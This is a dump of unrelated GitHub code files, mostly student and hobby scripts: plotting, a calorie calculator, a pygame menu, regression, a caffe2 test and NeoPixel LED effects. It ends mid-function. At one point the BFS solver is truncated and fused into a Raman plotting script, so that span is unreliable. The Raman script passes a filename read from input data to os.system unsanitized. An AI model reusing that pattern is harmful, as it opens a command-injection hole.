glob(runf + \"movethresh3/bfsim_b_qp|*pscale_a=3.6*,pscale_b=4.0*.tsv\")[0])\n\n fig, ax = plt.subplots(1, 1)\n pulse_wt_df = simulation_processor.get_dataset(\n pulse_wt_info[1], max_distance=140.0, spore_time_hours=0.5\n )\n pulse_2x_df = simulation_processor.get_dataset(\n pulse_2x_info[1], max_distance=140.0, spore_time_hours=0.5\n )\n\n # bistb_wt_df = simulation_processor.get_dataset(bistb_wt_info[1], max_distance=140.0, spore_time_hours=0.5)\n # bistb_2x_df = simulation_processor.get_dataset(bistb_2x_info[1], max_distance=140.0, spore_time_hours=0.5)\n\n ax, sbplots = get_figure(ax, pulse_wt_df, pulse_2x_df)\n # ax, sbplots = get_figure(ax, bistb_wt_df, bistb_2x_df)\n\n ax.set_ylim(0, 50)\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"npmurphy/biofilm_pulse","sub_path":"figures/figure_model_summary/subfig_sig_pulse_gradient.py","file_name":"subfig_sig_pulse_gradient.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73853499753","text":"#Joel Christian\n\n#A nutritionist who works for a fitness club helps members by evaluating their diets. As part of her\n#evaluation, she asks members for the number of fat grams and carbohydrate grams that they\n#consumed in a day. Then, she calculates the number of calories that result from the fat, using the\n#following formula: Calories from Fat = Fat Grams × 9\n#Next, she calculates the number of calories that result from the carbohydrates, using the following\n#formula: Calories from Carbs = Carb Grams × 4\n#The nutritionist asks you to design a modular program that will make these calculations.\n\n#This program accepts the number of fat and carbohydrates gram consumed,\n#calculates the total calories using fat grams,\n#calculates the total calories using catbohydrates gram,\n#then calculates the total calories from fat and carb calories\n#and displays the total calories results.\n\n#Create global constants\nFATCAL_MULTIPLIER = 9\nCARBCAL_MULTIPLIER = 4\n\n#Create and initialize a global variable to store the total calories\ntotalCalories = 0\n\ndef main():\n #Get the number of fat grams\n inputFat = float(input(\"Enter the number of fat grams consumed: \"))\n \n #Get the number of carbohydrates grams\n inputCarb = float(input(\"enter the number of carbohydrates grams consumed: \"))\n\n #Calculates and displays the number of fat calories\n setFat(inputFat)\n #Calculates and displays the number of carb calories\n setCarb(inputCarb)\n #Displays the total calories from both fat and carbs\n print(\"The total number of calories consumed is: \", totalCalories)\n\n#The setFat function calculates and displayes the total number of fat calories\n#and adds it to the total calories\ndef setFat(totalFat):\n fatCal = totalFat * FATCAL_MULTIPLIER\n global totalCalories\n totalCalories = totalCalories + fatCal\n print(\"The total number of Fat Calories is:\", fatCal)\n\n#The setCarb function calculates and displays the total number of carbohydrates calories\n#and adds it to the total calories\ndef setCarb(totalFat):\n carbCal = totalFat * CARBCAL_MULTIPLIER\n global totalCalories\n totalCalories = totalCalories + carbCal\n print(\"The total number of Carbohydrates Calories is:\", carbCal)\n\n#Call the main function\nmain()\n","repo_name":"joel-christian/Starting-out-With-Programming-Logic-and-Design","sub_path":"3.7 Fat_and_Carb.py","file_name":"3.7 Fat_and_Carb.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2844924481","text":"from collections import deque\n\ndef solution(maps):\n n,m = len(maps), len(maps[0])\n dir = [(-1,0),(0,1),(1,0),(0,-1)]\n visited = [[0 for _ in range(len(maps[0]))] for _ in range(len(maps))]\n q = deque()\n q.append([0,0])\n visited[0][0] = 1\n \n while q:\n y,x = q.popleft()\n for dx,dy in dir:\n nx,ny = x+dx, y+dy\n if 0<=nx= 2:\n RamanShift.append(int((i.split(',')[0]).split('.')[0].rstrip()))\n Intensity.append(float((i.split(',')[1]).rstrip()))\n elif i.split('=')[0] == \"##NAMES\":\n title_name = i.split('=')[1].rstrip() + \" \"\n elif i.split('=')[0] == \"##RRUFFID\":\n title_name += i.split('=')[1].rstrip()\n\n#plot\nplt.figure()\nplt.rcParams['font.family'] = 'sans-serif'\nplt.rcParams['font.size'] = 10\nplt.rcParams['xtick.direction'] = 'in'\nplt.rcParams['ytick.direction'] = 'in'\nplt.rcParams['xtick.major.width'] = 1.0\nplt.rcParams['ytick.major.width'] = 1.0\nplt.rcParams['lines.linewidth'] = 0.8\nplt.title(str(title_name))\nplt.plot(RamanShift,Intensity,color=\"red\")\nplt.xlabel(r\"Raman Shift (cm$^{-1}$)\")\nplt.ylabel(r\"Intensity\")\nplt.xlim(min(RamanShift),max(RamanShift))\nplt.grid(which='major',color='lightgray',linestyle='-')\nplt.grid(which='minor',color='lightgray',linestyle='-')\nsave_name = title_name.replace(\" \",\"_\")+'.png'\nplt.savefig(save_name)\nsel = input('open '+save_name+' ? (y/n) ')\nif sel == 'y':os.system(\"open \"+save_name)\n","repo_name":"WataruTakahagi/RAMAN","sub_path":"raman.py","file_name":"raman.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11402035058","text":"# This is going to be the menu manager.\nfrom .Vector2 import vector2\nimport time\nimport datetime\nfrom .AudioVisualManager import spritemanager\nfrom .AudioVisualManager import audiomanager\nfrom .databasemanager import databasemanager\nimport pygame\n\nclass menumanager:\n\tdef __init__(self,screen,contentmanager):\n\t\tself.screen = screen\n\t\t# Load image\n\t\tself.limg = pygame.image.load\n\t\tself.sm = spritemanager()\n\t\tself.am = audiomanager()\n\t\tself.cm = contentmanager # Reference to parent used to invoke methods on the parent.\n\n\t\t# Play a shitty song on loop\n\t\t# TODO : Upon progressing to the game, change the music played.\n\t\tself.am.playmusicloop(\"menumusic\", .4)\n\n\t\t# Get the images from the spritemanager\n\t\tself.logo = self.sm.getimage(\"logo\")\n\t\tself.menu = self.sm.getimage(\"background\")\n\n\t\t# Instructions popup > Image need to change\n\t\tself.ipopup = None\n\t\t# highscores popup Image need to change\n\t\tself.hpopup = None\n\t\t#Quit popup\n\t\tself.qpopup = None\n\t\t# Shortcut for screenblit.\n\t\tself.sb = self.screen.blit\n\n\t\t# menu = Buttons on the menu are active.\n\t\t# instructions = Buttons on the instuctions are active.\n\t\t# inactive = Don't render and handle click events of anything.\n\t\tself.state = \"menu\"\n\n\t\t# Button array for storing the buttons which can be callable\n\t\t# from a string.\n\t\tself.buttons = {\n\t\t\t\"start\" : button(self.screen, 20, 230, self.sm.getimage(\"start\"), self.sm.getimage(\"start_hover\"),\"menu\"),\n\t\t\t\"instructions\" : button(self.screen, 20, 290, self.sm.getimage(\"instructions\"), self.sm.getimage(\"instructions_hover\"),\"menu\"),\n\t\t\t\"highscores\": button(self.screen, 20, 350, self.sm.getimage(\"highscores\"),self.sm.getimage(\"highscores_hover\"), \"menu\"),\n\t\t\t\"quit\" : button(self.screen, 20, 410, self.sm.getimage(\"quitgame\"), self.sm.getimage(\"quitgame_hover\"), \"menu\")\n\t\t}\n\t\t# Array used to link functions to the buttons.\n\t\t# Be sure not to include the () when adding the function.\n\t\tself.functions = {\n\t\t\t\"start\" : self.switchstage,\n\t\t\t\"instructions\" : self.instructionsPress,\n\t\t\t\"highscores\": self.highscorePress,\n\t\t\t\"quit\" : self.quitpopupPress\n\t\t}\n\n#--------------------------- BUTTON HANDLING --------------------------------------\n\t# Handles the button handling such when the button is clickable or not.\n\tdef bclickhandling(self,pos):\n\t\tif self.hpopup is not None:\n\t\t\tself.hpopup.bclickhandling(pos)\n\t\t# Doing a KVP-Loop with the buttons to go through the buttons.\n\t\tif self.qpopup is not None:\n\t\t\tself.qpopup.bclickhandling(pos)\n\t\tfor k,v in self.buttons.items():\n\t\t\t# Check if the mouse is in a rectangle and compare the state\n\t\t\t# With the parent variable. If equal, go further. This is to prevent\n\t\t\t# to make the button clickable when it's not supposed to.\n\t\t\tif v.rect.collidepoint(pos) and self.state == v.parent:\n\t\t\t\t# Doing a KVP-Loop with the functions.\n\t\t\t\tfor i,f in self.functions.items():\n\t\t\t\t\t# If the key of the buttons KVP-Loop is the same as the\n\t\t\t\t\t# key of the functions KVP-Loop, execute the value of the\n\t\t\t\t\t# functions key. (Effectively a link.)\n\t\t\t\t\tif k == i:\n\t\t\t\t\t\tself.am.playsound(\"menubutton\", .6)\n\t\t\t\t\t\tf()\n\n\n # Button hover handling.\n\tdef bhoverhandling(self,pos):\n\t\tfor k,v in self.buttons.items():\n\t\t\tif v.rect.collidepoint(pos) and self.state == v.parent:\n\t\t\t\tv.imagedrawn = v.imagehover\n\t\t\telse:\n\t\t\t\tv.imagedrawn = v.imageidle\n\n\t\tif self.hpopup is not None:\n\t\t\tfor k,v in self.hpopup.buttons.items():\n\t\t\t\tif v.rect.collidepoint(pos):\n\t\t\t\t\tv.imagedrawn = v.imagehover\n\t\t\t\telse:\n\t\t\t\t\tv.imagedrawn = v.imageidle\n\n\t\tif self.qpopup is not None:\n\t\t\tself.qpopup.bhoverhandling(pos)\n\n#--------------------------- BUTTON HANDLING END ----------------------------------\n\tdef draw(self):\n\t\tif self.state is not \"inactive\":\n\t\t\tself.sb(self.menu, (0,0))\n\t\t\tself.sb(self.logo, (20,20))\n\t\t\t# Draw the buttons (KVP-Loop)\n\t\t\tfor k,v in self.buttons.items():\n\t\t\t \tv.draw()\n\t\t\t#self.ipopup.draw()\n\t\t\tif self.ipopup is not None:\n\t\t\t\tself.ipopup.draw()\n\t\t\tif self.hpopup is not None:\n\t\t\t\tself.hpopup.draw()\n\t\t\tif self.qpopup is not None:\n\t\t\t\tself.qpopup.draw()\n\n\tdef update(self):\n\t\tif self.state is not \"inactive\":\n\t\t\tfor k,v in self.buttons.items():\n\t\t\t\tv.update()\n\t\tif self.qpopup is not None:\n\t\t\tself.qpopup.update()\n\n\tdef highscorePress(self):\n\t\tself.hpopup = highscorePopup(self.screen, self, 200 , 200)\n\n\tdef instructionsPress(self):\n\t\tself.ipopup = instructionPopup(self.screen, self)\n\n\tdef quitpopupPress(self):\n\t\tself.qpopup = quitpopup(self.screen, self)\n\n\tdef testfunction(self):\n\t\tprint(\"Testing\")\n\n\tdef switchstage(self):\n\t\tself.cm.stage = 1\n\n\n\n#------------ Class functions\n# Add functions which can be invoked by the buttons.\n\nclass button:\n\tdef __init__(self,screen,posx,posy,img,imghover,parent):\n\t\tself.stage = 0\n\t\tself.parent = parent\n\t\tself.screen = screen\n\t\tself.pos = vector2(posx,posy)\n\t\tself.imageidle = img\n\t\tself.imagehover = imghover\n\t\tself.imagedrawn = img\n\t\tself.rect = pygame.Rect(self.pos.x, self.pos.y, self.imageidle.get_size()[0], self.imageidle.get_size()[1])\n\n\tdef draw(self):\n\t\t# pygame.draw.rect(self.screen,(255,0,0),self.rect)\n\t\tself.screen.blit(self.imagedrawn,(self.pos.x, self.pos.y))\n\n\n\tdef update(self):\n\t\tpass\n\n\nclass instructionPopup:\n\tdef __init__(self ,screen, mm):\n\t\tself.mm = mm\n\t\tself.size = vector2(600,300)\n\t\tself.screen = screen\n\t\tself.x = 50\n\t\tself.y = 30\n\n\t\tself.imgs = [\n\t\t\tself.mm.sm.getimage(\"instructions1\"),\n\t\t\tself.mm.sm.getimage(\"instructions2\"),\n\t\t\tself.mm.sm.getimage(\"instructions3\"),\n\t\t\tself.mm.sm.getimage(\"instructions4\"),\n\t\t\tself.mm.sm.getimage(\"instructions5\")\n\t\t]\n\t\tself.curimg = 0\n\n\tdef draw(self):\n\t\tpygame.draw.rect(self.screen, (255,255,255), (self.x, self.y, self.size.x, self.size.y))\n\t\tself.screen.blit(self.imgs[self.curimg],(self.x,self.y))\n\n\tdef bclickhandling(self):\n\t\tif self.curimg < len(self.imgs) - 1:\n\t\t\tself.curimg += 1\n\t\telse:\n\t\t\tself.disposeself()\n\n\tdef disposeself(self):\n\t\tself.mm.ipopup = None\n\n\nclass highscorePopup:\n\tdef __init__(self ,screen, mm, x , y):\n\t\tself.mm = mm\n\t\tself.x = 100\n\t\tself.y = 120\n\t\tself.screen = screen\n\t\t# create connection with database manager\n\n\t\tself.dbm = databasemanager()\n\n\t\tself.buttons = {\n\t\t\t\"back\" : button(self.screen, self.x + 410, self.y + 400, mm.sm.getimage(\"empty\"), mm.sm.getimage(\"empty_hover\"), None)\n\t\t}\n\t\tself.functions = {\n\t\t \t\"back\" : self.disposeself\n\t\t}\n\n\t\t#highscores\n\t\tself.columnfont = pygame.font.SysFont(\"arial\", 30)\n\t\tself.font = pygame.font.SysFont(\"arial\",25)\n\n\t\t#title\n\t\tself.title = pygame.font.SysFont(\"arial\", 70)\n\n\t\tself.results = self.dbm.download_top_score()\n\t\tself.hscores = []\n\t\tfor i in range(0,len(self.results)):\n\t\t\tself.hscores.append(hscore(self.results[i][2],int(self.results[i][0]), int(self.results[i][1])))\n\n\tdef disposeself(self):\n\t\tself.mm.hpopup = None\n\n\t# Handles the button handling such when the button is clickable or not.\n\tdef bclickhandling(self,pos):\n\t\t# Doing a KVP-Loop with the buttons to go through the buttons.\n\t\tfor k,v in self.buttons.items():\n\t\t\t# Check if the mouse is in a rectangle and compare the state\n\t\t\t# With the parent variable. If equal, go further. This is to prevent\n\t\t\t# to make the button clickable when it's not supposed to.\n\t\t\tif v.rect.collidepoint(pos):\n\t\t\t\t# Doing a KVP-Loop with the functions.\n\t\t\t\tfor i,f in self.functions.items():\n\t\t\t\t\t# If the key of the buttons KVP-Loop is the same as the\n\t\t\t\t\t# key of the functions KVP-Loop, execute the value of the\n\t\t\t\t\t# functions key. (Effectively a link.)\n\t\t\t\t\tif k == i:\n\t\t\t\t\t\tself.mm.am.playsound(\"menubutton\", .06)\n\t\t\t\t\t\tf()\n\n\t# Button hover handling.\n\tdef bhoverhandling(self,pos):\n\t\tfor k,v in self.buttons.items():\n\t\t\tif v.rect.collidepoint(pos) and self.state == v.parent:\n\t\t\t\tv.imagedrawn = v.imagehover\n\t\t\telse:\n\t\t\t\tv.imagedrawn = v.imageidle\n\n\tdef draw(self):\n\t\tpygame.draw.rect(self.screen, self.mm.sm.getcolor(\"lightgrey\"), (self.x, self.y, 700, 450))\n\t\tpygame.draw.rect(self.screen, (0, 0, 0), (self.x, self.y, 700, 450) , 1)\n\t\t#Highscore title\n\t\tself.highscoreTitle = self.title.render(\"TOP 5 \", True, (255,255,255))\n\t\t# self.closep = self.columnfont.render(\"Close Popup\", True, (255,255,255)\n\t\t# columns\n\t\tself.columnName = self.columnfont.render(\"Name\", True, (0, 0, 0))\n\t\tself.columnCQ = self.columnfont.render(\"Correct questions\", True, (0, 0, 0))\n\t\tself.columnT = self.columnfont.render(\"Turns\", True, (0, 0, 0))\n\n\n\t\tself.screen.blit(self.highscoreTitle, (self.x + 10, self.y + 10))\n\t\t# drawing columns\n\t\tself.screen.blit(self.columnName, (self.x + 20, self.y + 120))\n\t\tself.screen.blit(self.columnCQ, (self.x + 200, self.y + 120))\n\t\tself.screen.blit(self.columnT, (self.x + 500, self.y + 120))\n\t\tself.spacing = 40\n\n\t\tfor k,v in self.buttons.items():\n\t\t\tv.draw()\n\n\t\tself.screen.blit(self.columnfont.render(\"Close Popup\", True, (0,0,0)),(self.x + 460, self.y + 400))\n\t\tfor i in range(0, len(self.hscores)):\n\t\t\tself.name = self.font.render(str(self.hscores[i].name), True, (0, 0, 0))\n\t\t\tself.Cquestions = self.font.render(str(self.hscores[i].cquestions), True, (0, 0, 0))\n\t\t\tself.turns = self.font.render(str(self.hscores[i].turns), True, (0, 0, 0))\n\n\t\t\tself.screen.blit(self.name, (self.x + 20, self.y + 170 + (self.spacing * i)))\n\t\t\tself.screen.blit(self.Cquestions, (self.x + 275, self.y + 170 + (self.spacing * i)))\n\t\t\tself.screen.blit(self.turns, (self.x + 520, self.y + 170 + (self.spacing * i)))\n\nclass quitpopup():\n\tdef __init__(self,screen, mm):\n\t\tself.screen = screen\n\t\tself.mm = mm\n\t\tself.pos = vector2(350,200)\n\t\tself.shutdown = False\n\t\tself.endtime = datetime.datetime.utcnow() + datetime.timedelta(seconds=1)\n\t\tself.seconds = 3\n\n\t\tself.quitscreen = self.mm.sm.getimage(\"quitscreen\")\n\n\t\tself.textfont = pygame.font.SysFont(\"arial\", 30)\n\t\tself.buttonfont = pygame.font.SysFont(\"arial\", 25)\n\n\t\tself.quittext = self.textfont.render(\"Weet je zeker dat je wilt stoppen met dit spel?\", True, (0,0,0))\n\t\tself.no = self.buttonfont.render(\"Nee\", True, (0,0,0))\n\t\tself.yes = self.buttonfont.render(\"Ja\", True, (0,0,0))\n\n\t\tself.buttons = {\n\t\t \t\"no\" : button(self.screen, self.pos.x + 10, self.pos.y + 250, mm.sm.getimage(\"empty\"), mm.sm.getimage(\"empty_hover\"), None),\n\t\t \t\"yes\" : button(self.screen, self.pos.x + 300, self.pos.y + 250, mm.sm.getimage(\"empty\"), mm.sm.getimage(\"empty_hover\"), None),\n\t\t}\n\t\tself.functions = {\n\t\t\t\"no\" : self.disposeself,\n\t\t\t\"yes\" : self.startshutdown\n\t\t}\n\n\tdef disposeself(self):\n\t\tself.mm.qpopup = None\n\n\tdef startshutdown(self):\n\t\tself.shutdown = True\n\n\tdef timer(self):\n\t\tif datetime.datetime.utcnow() > self.endtime:\n\t\t\tif self.seconds > 0:\n\t\t\t\tself.seconds -= 1\n\t\t\t\tself.endtime = datetime.datetime.utcnow() + datetime.timedelta(seconds=1)\n\t\t\t\tprint(self.seconds)\n\t\t\telse:\n\t\t\t\tpygame.quit()\n\n\tdef bclickhandling(self,pos):\n\t\tfor k,v in self.buttons.items():\n\t\t\tif v.rect.collidepoint(pos):\n\t\t\t\tfor i,f in self.functions.items():\n\t\t\t\t\tif k == i:\n\t\t\t\t\t\tself.mm.am.playsound(\"menubutton\", .6)\n\t\t\t\t\t\tf()\n\n\t# Button hover handling.\n\tdef bhoverhandling(self,pos):\n\t\tfor k,v in self.buttons.items():\n\t\t\tif v.rect.collidepoint(pos):\n\t\t\t\tv.imagedrawn = v.imagehover\n\t\t\telse:\n\t\t\t\tv.imagedrawn = v.imageidle\n\n\n\tdef draw(self):\n\t\tpygame.draw.rect(self.screen, self.mm.sm.getcolor(\"lightgrey\"), (self.pos.x, self.pos.y, 600, 300))\n\t\tpygame.draw.rect(self.screen, (0, 0, 0), (self.pos.x, self.pos.y, 600, 300) , 1)\n\t\tself.screen.blit(self.quittext, (self.pos.x + 20, self.pos.y + 20))\n\n\t\tfor k,v in self.buttons.items():\n\t\t\tv.draw()\n\n\t\tself.screen.blit(self.no, (self.pos.x + 60, self.pos.y + 255))\n\t\tself.screen.blit(self.yes, (self.pos.x + 360, self.pos.y + 255))\n\n\t\tif self.shutdown:\n\t\t\tself.screen.blit(self.quitscreen, (0,0))\n\n\tdef update(self):\n\t\tif self.shutdown == True:\n\t\t\tself.timer()\n\n\n\n\nclass hscore:\n\tdef __init__(self, name, cquestions, turns):\n\t\tself.name = name\n\t\tself.cquestions = cquestions\n\t\tself.turns = turns\n","repo_name":"Kingdomdark/ProjectOP2","sub_path":"main/classes/MenuManager.py","file_name":"MenuManager.py","file_ext":"py","file_size_in_byte":11669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33466603853","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jul 18 20:00:06 2020\r\n\r\n@author: ibrah\r\n\"\"\"\r\n\r\n\r\n\"\"\"MULTIPlE LINEAR REGRESSION\"\"\" #first method : ALL IN\r\n\r\n#importing librairies\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#importing the data\r\ndataset = pd.read_csv('50_Startups.csv')\r\n#rearrange the dataset\r\ndataset=dataset[['State','R&D Spend','Administration','Marketing Spend','Profit']]\r\nX=dataset.iloc[:,0:-1].values\r\nY=dataset.iloc[:,-1].values\r\n\r\n\r\n\r\n#taking care of missing data\r\nfrom sklearn.impute import SimpleImputer\r\n\r\nimputer=SimpleImputer(missing_values=0,strategy='mean')\r\nimputer.fit(X[:,1:])\r\nX[:,1:]=imputer.transform(X[:,1:])\r\n\r\n\r\n#Encoding categorical data : dependant variable state\r\nfrom sklearn.compose import ColumnTransformer\r\nfrom sklearn.preprocessing import OneHotEncoder\r\n\r\nct = ColumnTransformer([('encoder',OneHotEncoder(),[0])],'passthrough')\r\nX=np.array(ct.fit_transform(X))\r\n\r\n\r\n#splitting dataset into train and test set\r\nfrom sklearn.model_selection import train_test_split\r\nX_train,X_test,Y_train,Y_test = train_test_split(X,Y,test_size=0.2,random_state =0)\r\n\r\n#ALL-IN METHOD : LinearRegression\r\nfrom sklearn.linear_model import LinearRegression\r\nregressor = LinearRegression()\r\nregressor.fit(X_train,Y_train)\r\n\r\ny_pred = regressor.predict(X_test)\r\ny_pred = np.array(y_pred)\r\ny_pred = y_pred.reshape((y_pred.shape[0],1))\r\nY_test = np.array(Y_test)\r\nY_test = Y_test.reshape((10,1))\r\n\r\n\r\nresult = np.concatenate((y_pred,Y_test),axis=1)\r\nprint(result)\r\n\r\n#OPTIMAL METHOD\r\nimport statsmodels.api as sm\r\nX = np.append(np.ones((50,1)).astype(int),X,axis=1)\r\nX_opt = np.array(X[:,[0,1,2,3,4,5,6]],dtype=float)\r\nregressor_OLS = sm.OLS(Y,X_opt).fit()\r\nprint(regressor_OLS.summary())\r\n\r\n","repo_name":"Ibrahima-koundoul/Machine-Learning---Regression-","sub_path":"Machine Learning Regression/Regression Models/Multiple Linear Regression/multipleLR.py","file_name":"multipleLR.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14816269139","text":"\n\n\n\n\nfrom caffe2.python import core\nfrom collections import defaultdict, Counter\nfrom hypothesis import given, settings\nimport caffe2.python.hypothesis_test_util as hu\nimport caffe2.python.serialized_test.serialized_test_util as serial\nimport hypothesis.strategies as st\nimport numpy as np\n\nimport unittest\n\nDEFAULT_BEAM_WIDTH = 10\nDEFAULT_PRUNE_THRESHOLD = 0.001\n\n\nclass TestCTCBeamSearchDecoderOp(serial.SerializedTestCase):\n @given(\n batch=st.sampled_from([1, 2, 4]),\n max_time=st.sampled_from([1, 8, 64]),\n alphabet_size=st.sampled_from([1, 2, 32, 128, 512]),\n beam_width=st.sampled_from([1, 2, 16, None]),\n num_candidates=st.sampled_from([1, 2]),\n **hu.gcs_cpu_only\n )\n @settings(deadline=None, max_examples=30)\n def test_ctc_beam_search_decoder(\n self, batch, max_time, alphabet_size, beam_width, num_candidates, gc, dc\n ):\n if not beam_width:\n beam_width = DEFAULT_BEAM_WIDTH\n op_seq_len = core.CreateOperator('CTCBeamSearchDecoder',\n ['INPUTS', 'SEQ_LEN'],\n ['OUTPUT_LEN', 'VALUES', 'OUTPUT_PROB'],\n num_candidates=num_candidates)\n\n op_no_seq_len = core.CreateOperator('CTCBeamSearchDecoder',\n ['INPUTS'],\n ['OUTPUT_LEN', 'VALUES', 'OUTPUT_PROB'],\n num_candidates=num_candidates)\n else:\n num_candidates = min(num_candidates, beam_width)\n op_seq_len = core.CreateOperator('CTCBeamSearchDecoder',\n ['INPUTS', 'SEQ_LEN'],\n ['OUTPUT_LEN', 'VALUES', 'OUTPUT_PROB'],\n beam_width=beam_width,\n num_candidates=num_candidates)\n\n op_no_seq_len = core.CreateOperator('CTCBeamSearchDecoder',\n ['INPUTS'],\n ['OUTPUT_LEN', 'VALUES', 'OUTPUT_PROB'],\n beam_width=beam_width,\n num_candidates=num_candidates)\n\n def input_generater():\n inputs = np.random.rand(max_time, batch, alphabet_size)\\\n .astype(np.float32)\n seq_len = np.random.randint(1, max_time + 1, size=batch)\\\n .astype(np.int32)\n return inputs, seq_len\n\n def ref_ctc_decoder(inputs, seq_len):\n output_len = np.zeros(batch * num_candidates, dtype=np.int32)\n output_prob = np.zeros(batch * num_candidates, dtype=np.float32)\n val = np.array([]).astype(np.int32)\n\n for i in range(batch):\n Pb, Pnb = defaultdict(Counter), defaultdict(Counter)\n Pb[0][()] = 1\n Pnb[0][()] = 0\n A_prev = [()]\n ctc = inputs[:, i, :]\n ctc = np.vstack((np.zeros(alphabet_size), ctc))\n len_i = seq_len[i] if seq_len is not None else max_time\n\n for t in range(1, len_i + 1):\n pruned_alphabet = np.where(ctc[t] > DEFAULT_PRUNE_THRESHOLD)[0]\n for l in A_prev:\n for c in pruned_alphabet:\n if c == 0:\n Pb[t][l] += ctc[t][c] * (Pb[t - 1][l] + Pnb[t - 1][l])\n else:\n l_plus = l + (c,)\n if len(l) > 0 and c == l[-1]:\n Pnb[t][l_plus] += ctc[t][c] * Pb[t - 1][l]\n Pnb[t][l] += ctc[t][c] * Pnb[t - 1][l]\n else:\n Pnb[t][l_plus] += \\\n ctc[t][c] * (Pb[t - 1][l] + Pnb[t - 1][l])\n\n if l_plus not in A_prev:\n Pb[t][l_plus] += \\\n ctc[t][0] * \\\n (Pb[t - 1][l_plus] + Pnb[t - 1][l_plus])\n Pnb[t][l_plus] += ctc[t][c] * Pnb[t - 1][l_plus]\n\n A_next = Pb[t] + Pnb[t]\n A_prev = sorted(A_next, key=A_next.get, reverse=True)\n A_prev = A_prev[:beam_width]\n\n candidates = A_prev[:num_candidates]\n index = 0\n for candidate in candidates:\n val = np.hstack((val, candidate))\n output_len[i * num_candidates + index] = len(candidate)\n output_prob[i * num_candidates + index] = Pb[t][candidate] + Pnb[t][candidate]\n index += 1\n\n return [output_len, val, output_prob]\n\n def ref_ctc_decoder_max_time(inputs):\n return ref_ctc_decoder(inputs, None)\n\n inputs, seq_len = input_generater()\n\n self.assertReferenceChecks(\n device_option=gc,\n op=op_seq_len,\n inputs=[inputs, seq_len],\n reference=ref_ctc_decoder,\n )\n\n self.assertReferenceChecks(\n device_option=gc,\n op=op_no_seq_len,\n inputs=[inputs],\n reference=ref_ctc_decoder_max_time,\n )\n\n\nif __name__ == \"__main__\":\n import random\n random.seed(2603)\n unittest.main()\n","repo_name":"pytorch/pytorch","sub_path":"caffe2/python/operator_test/ctc_beam_search_decoder_op_test.py","file_name":"ctc_beam_search_decoder_op_test.py","file_ext":"py","file_size_in_byte":5197,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"} +{"seq_id":"36237618678","text":"lst = []\nwhile True:\n try:\n s = input().strip()\n lst.append(s)\n except EOFError:\n for x in lst:\n print(x)\n st = x.split(\" \")\n## print(st)\n if(int(st[0]) > (2 ** 31 - 1)):\n print('first number too big')\n if(int(st[2]) > (2 ** 31 - 1)):\n print('second number too big')\n if(( st[1]=='+' and int(st[0])+ int(st[2]) > (2 ** 31 - 1)) or (st[1]=='*' and int(st[0]) * int(st[2]) > (2 ** 31 - 1))) :\n print('result too big')\n break\n\n","repo_name":"milon101/UVA-Problems-Solution","sub_path":"465 - Overflow/465 - Overflow.py","file_name":"465 - Overflow.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41734695635","text":"\"\"\"Descrição\nFaça um programa que leia um número inteiro e informe qual o mês do ano correspondente por extenso. Caso seja um mês inválido, informe ao usuario.\n\nFormato de entrada\n\nVocê receberá um número inteiro correspondente ao mês do ano. Considere que o mês de janeiro como 1 e o mês de dezembro como 12.\n\nQualquer inteiro fora desse intervalo deve ser considerado como um mês inválido.\n\n \n\nFormato de saída\n\nA saída deve ser um dos meses do ano, correspondendo ao inteiro dado na entrada, seguido de um final de linha. Portanto, as possíveis saídas são:\n\njaneiro\n\nfevereiro\n\nmarco\n\nabril\n\nmaio\n\njunho\n\njulho\n\nagosto\n\nsetembro\n\noutubro\n\nnovembro\n\ndezembro\n\n \n\nCaso o mês seja inválido, imprima como resposta:\n\ninvalido\n\n \n\nIMPORTANTE: perceba que a saída está toda em letras minúsculas e SEM ACENTOS.\"\"\"\n\n\n\ndef MesPorExtenso (mes):\n \n meses_extenso = [\"0\",\"janeiro\",\"fevereiro\",\"marco\",\"abril\",\"maio\",\"junho\",\"julho\",\"agosto\",\"setembro\",\"outubro\",\"novembro\",\"dezembro\"]\n if (mes > 0 and mes <= 12):\n for i in range (len(meses_extenso)):\n if (i == mes):\n print(meses_extenso[i])\n break\n else:\n print(\"invalido\")\n\nmes = int (input())\n\nMesPorExtenso(mes)","repo_name":"Andreza-S/Codando","sub_path":"códigos python/Meses do Ano por extenso.py","file_name":"Meses do Ano por extenso.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39291688660","text":"from neopixel import *\nimport time\nfrom random import seed\nfrom random import randint\nimport math\nimport vars\nseed(1)\n\n# All of the NeoPixel functions to be used with TouchOSC\n\n# Define functions which animate LEDs in various ways.\n# Set all colors\ndef setAll(strip, color):\n for i in range(0, strip.numPixels()):\n strip.setPixelColor(i, color)\n strip.show()\n\ndef turnOffPart(strip, downRange, upRange):\n for i in range(downRange, upRange):\n strip.setPixelColor(i, Color(0,0,0))\n strip.show()\n\n# Strand Test functions\ndef colorWipe(strip, color, wait_ms=50):\n \"\"\"Wipe color across display a pixel at a time.\"\"\"\n for i in range(strip.numPixels()):\n strip.setPixelColor(i, color)\n strip.show()\n time.sleep(wait_ms/1000.0)\n\ndef theaterChase(strip, color, wait_ms=50, iterations=10):\n \"\"\"Movie theater light style chaser animation.\"\"\"\n for j in range(iterations):\n for q in range(3):\n for i in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i+q, color)\n strip.show()\n time.sleep(wait_ms/1000.0)\n for i in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i+q, 0)\n\ndef wheel(pos):\n \"\"\"Generate rainbow colors across 0-255 positions.\"\"\"\n if pos < 85:\n return Color(pos * 3, 255 - pos * 